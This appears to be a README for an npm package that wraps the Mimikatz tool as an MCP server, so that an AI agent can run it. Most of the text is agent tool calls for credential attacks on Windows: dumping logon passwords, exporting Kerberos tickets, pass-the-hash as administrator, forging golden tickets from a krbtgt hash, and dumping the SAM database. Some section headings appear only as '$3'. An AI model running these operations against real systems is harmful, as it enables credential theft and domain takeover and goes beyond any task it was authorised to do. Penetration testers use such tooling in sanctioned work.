Model Context Protocol (MCP) server for interacting with Mimikatz security tool
npm install gc-mimikatz-mcpbash
npm install -g gc-mimikatz-mcp
`
2. Set the MIMIKATZ_PATH environment variable to point to your mimikatz.exe:
`bash
Windows PowerShell
$env:MIMIKATZ_PATH = "C:\path\to\mimikatz.exe"
Windows CMD
set MIMIKATZ_PATH=C:\path\to\mimikatz.exe
Linux/Mac (if using Wine)
export MIMIKATZ_PATH="/path/to/mimikatz.exe"
`
Configuration
Add the server to your MCP client configuration:
`json
{
"mimikatz": {
"command": "gc-mimikatz",
"env": {
"MIMIKATZ_PATH": "C:\\path\\to\\mimikatz.exe"
}
}
}
`
Usage Examples
$3
`typescript
// This will show all available mimikatz modules
await use_mcp_tool("mimikatz", "list-modules", {});
`
$3
`typescript
// Get help for the sekurlsa module
await use_mcp_tool("mimikatz", "module-help", {
module: "sekurlsa"
});
`
$3
`typescript
// Execute a single command
await use_mcp_tool("mimikatz", "execute-command", {
commands: "privilege::debug"
});
// Execute multiple commands
await use_mcp_tool("mimikatz", "execute-command", {
commands: ["privilege::debug", "sekurlsa::logonpasswords"],
requires_privilege: true
});
`
$3
`typescript
// Dump logon passwords (requires admin)
await use_mcp_tool("mimikatz", "dump-credentials", {
method: "logonpasswords"
});
`
$3
`typescript
// Export tickets to current directory
await use_mcp_tool("mimikatz", "export-tickets", {});
// Export to specific path
await use_mcp_tool("mimikatz", "export-tickets", {
export_path: "C:\\temp\\tickets"
});
`
$3
`typescript
await use_mcp_tool("mimikatz", "pass-the-hash", {
user: "administrator",
domain: "corp.local",
ntlm: "8846f7eaee8fb117ad06bdd830b7586c",
run_command: "cmd.exe"
});
`
$3
`typescript
await use_mcp_tool("mimikatz", "golden-ticket", {
user: "administrator",
domain: "corp.local",
sid: "S-1-5-21-1234567890-123456789-123456789",
krbtgt_hash: "1234567890abcdef1234567890abcdef",
ticket_path: "golden.kirbi"
});
`
$3
`typescript
// Dump SAM database
await use_mcp_tool("mimikatz", "lsa-dump", {
method: "sam"
});
`
Requirements
- Windows OS (Mimikatz is Windows-only)
- Mimikatz executable
- Administrator privileges for most operations
- Node.js 16 or higher
Development
To build from source:
`bash
Clone the repository
git clone https://github.com/GH05TCREW/mimikatz-mcp
cd mimikatz-mcp
Install dependencies
npm install
Build
npm run build
``